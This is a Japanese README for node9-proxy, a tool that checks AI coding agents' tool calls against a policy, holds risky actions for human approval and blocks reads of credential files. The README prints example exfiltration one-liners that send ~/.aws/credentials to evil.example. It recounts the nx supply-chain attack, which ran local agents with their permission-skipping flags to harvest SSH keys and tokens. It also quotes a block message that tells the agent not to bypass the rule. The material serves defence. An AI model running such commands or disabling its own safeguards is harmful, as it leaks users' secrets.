
node9-proxy v1.63.0
エージェンティック時代の実行セキュリティ層。自律型AIエージェントに対して、決定論的な "Sudo" ガバナンスと監査ログを提供します。
🛡️ node9
AIエージェントのためのアクセス制御
あなたのAIエージェントはSlack、GitHub、メール、データベースに到達できます。
node9は、それぞれに対して何をしてよいかを決定します。
クレデンシャルジェイル · シークレットとPII · 破壊的なgit、SQL、シェルはレビューのために保留 · MCPツールのピン留め · ネットワークエグレス許可リスト · ループブレーカー · 12のエージェントにまたがる単一の記録
Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 任意のMCPサーバー で動作します。
実際の動作
node9をインストールした実際のClaude Codeセッションです。すべてのツール呼び出しは実行前にチェックされます。ページのビルドとボタンの編集は実行されます。クラウドメタデータアドレスへのリクエストはブロックされ、エージェントは理由を受け取って続行します。ファイルの削除は、チャット上でそのままあなたの承認を待ちます。
インストール
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
次に、任意のプロジェクトで:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Node.js 22+ が必要です。
新しい対話型ターミナルでは、node9がセットアップを案内します。ローカル保護にはアカウントは不要です。チェックリストには、推奨シールド、DLP/PII、オプションのネットワークエグレスレビュー、バックグラウンドサービスが表示されます。使用統計は、別途のプロンプトに同意した場合にのみ送信されます。サマリーには、設定されたエージェントと、対応が必要なセットアップ手順が一覧表示されます。
セットアップを再確認するにはnode9 setupを、1つのエージェントを設定するにはnode9 setup <target>を実行します。設定後は、引数なしのnode9でヘルプが表示されます。node9 initも引き続き利用可能です。スクリプトではnode9 init --recommendedを使用します(質問なし、テレメトリのオプトインなし)。--skip-setupはエージェントの配線とサービスのインストールを行いません。明示的な--modeは、チェックリストの標準モードの推奨よりも優先されます。既存の設定は、選択された変更または明示的なフラグが更新を要求しない限り保持されます。ワークスペースポリシーはダッシュボードで管理され、サービス設定はローカルに留まります。
loginは強制力に何も追加しません。 これはマシンをワークスペースに接続し、チームが全員のラップトップとCIにまたがる単一の記録を確認し、ポリシーを集中管理し、保留中のアクションをダッシュボードまたはSlackから承認できるようにします。スキップしても、node9は単独で、オフラインで、まったく同じように動作します。node9 logoutで再び切断され、ローカルの強制力は実行を続けます。
MCPサーバーとして使用する
node9はMCPサーバーとしても動作するため、エージェントは会話の中から、そのステータス、ポスチャ、監査記録、ポリシーを読み取り、あらゆる決定を説明できます:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
任意のMCPクライアントも同様に動作します。コマンドはstdio経由のnpx -y node9-ai mcp-serverで、APIキーは不要です。公式MCPレジストリにio.github.node9-ai/node9として登録されています。
問題
2025年8月、nxビルドツールの侵害されたリリースが、インストール後のスクリプトを配布しました。このスクリプトは、開発者のマシンにすでにインストールされているAIコーディングエージェントを探し出し、それらを独自の安全フラグを無効にして(--dangerously-skip-permissions、--yolo、--trust-all-tools)実行し、SSHキー、クラウド認証情報、ウォレットファイルを列挙してそのリストをディスクに書き込みました。スクリプトは結果を、被害者自身のGitHubアカウント内の公開リポジトリにプッシュしました。1,000を超える有効なGitHubトークンが漏洩し、クラウド認証情報、npmトークン、そして約20,000のファイルが、エージェントがまさに指示されたとおりに動作していたマシンから流出しました。
エージェントは攻撃者ではありませんでした。エージェントはツールであり、それとファイルの間には何も立ちはだかっていませんでした。node9のゲートはそれらのフラグの1つではありません。それはフック内で動作し、保留にしたアクションは、エージェントが権限をスキップして起動された場合でも保留のままです。
node9がそれに対して行うこと
node9は、エージェントと呼び出すすべてのツールの間に位置します。クレデンシャルジェイル(~/.ssh、~/.aws、.envファイル、秘密鍵)はデフォルトで有効で、それらのパスの1つを読み取ることは実行されません。エージェントは停止され、理由を伝えられ、決定があなたに届きます:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
コマンドはテキストとしてマッチングされるのではなく、シェルASTとして解析されるため、読み取りをラップしても役に立ちません。echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.exampleは、echoではなく~/.aws/credentialsの読み取りとして判定されます。
node9はゲートです。保留にされたアクションは、あなたを待っている間は実行されず、あなたが決して答えなければブロックされたままです。それ以外はすべて許可され、記録に書き込まれます。
それが行わないこと: デフォルトであるエグレス制御がオフの場合、curl -d @~/.aws/credentialsのようにファイルを直接ネットワークに渡すコマンドは、そのファイルの読み取りとして扱われません。node9 egress protectは宛先もゲートし、シェルコマンドのみを対象とします。
自分で検証する
以下はどれもアカウントを必要とせず、何もアップロードしません。
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
node9 scan scorecard
何を統制するか
各行は1つの機能で、それを文書化したページが付いています。ドキュメントがリファレンスであり、このファイルは地図です。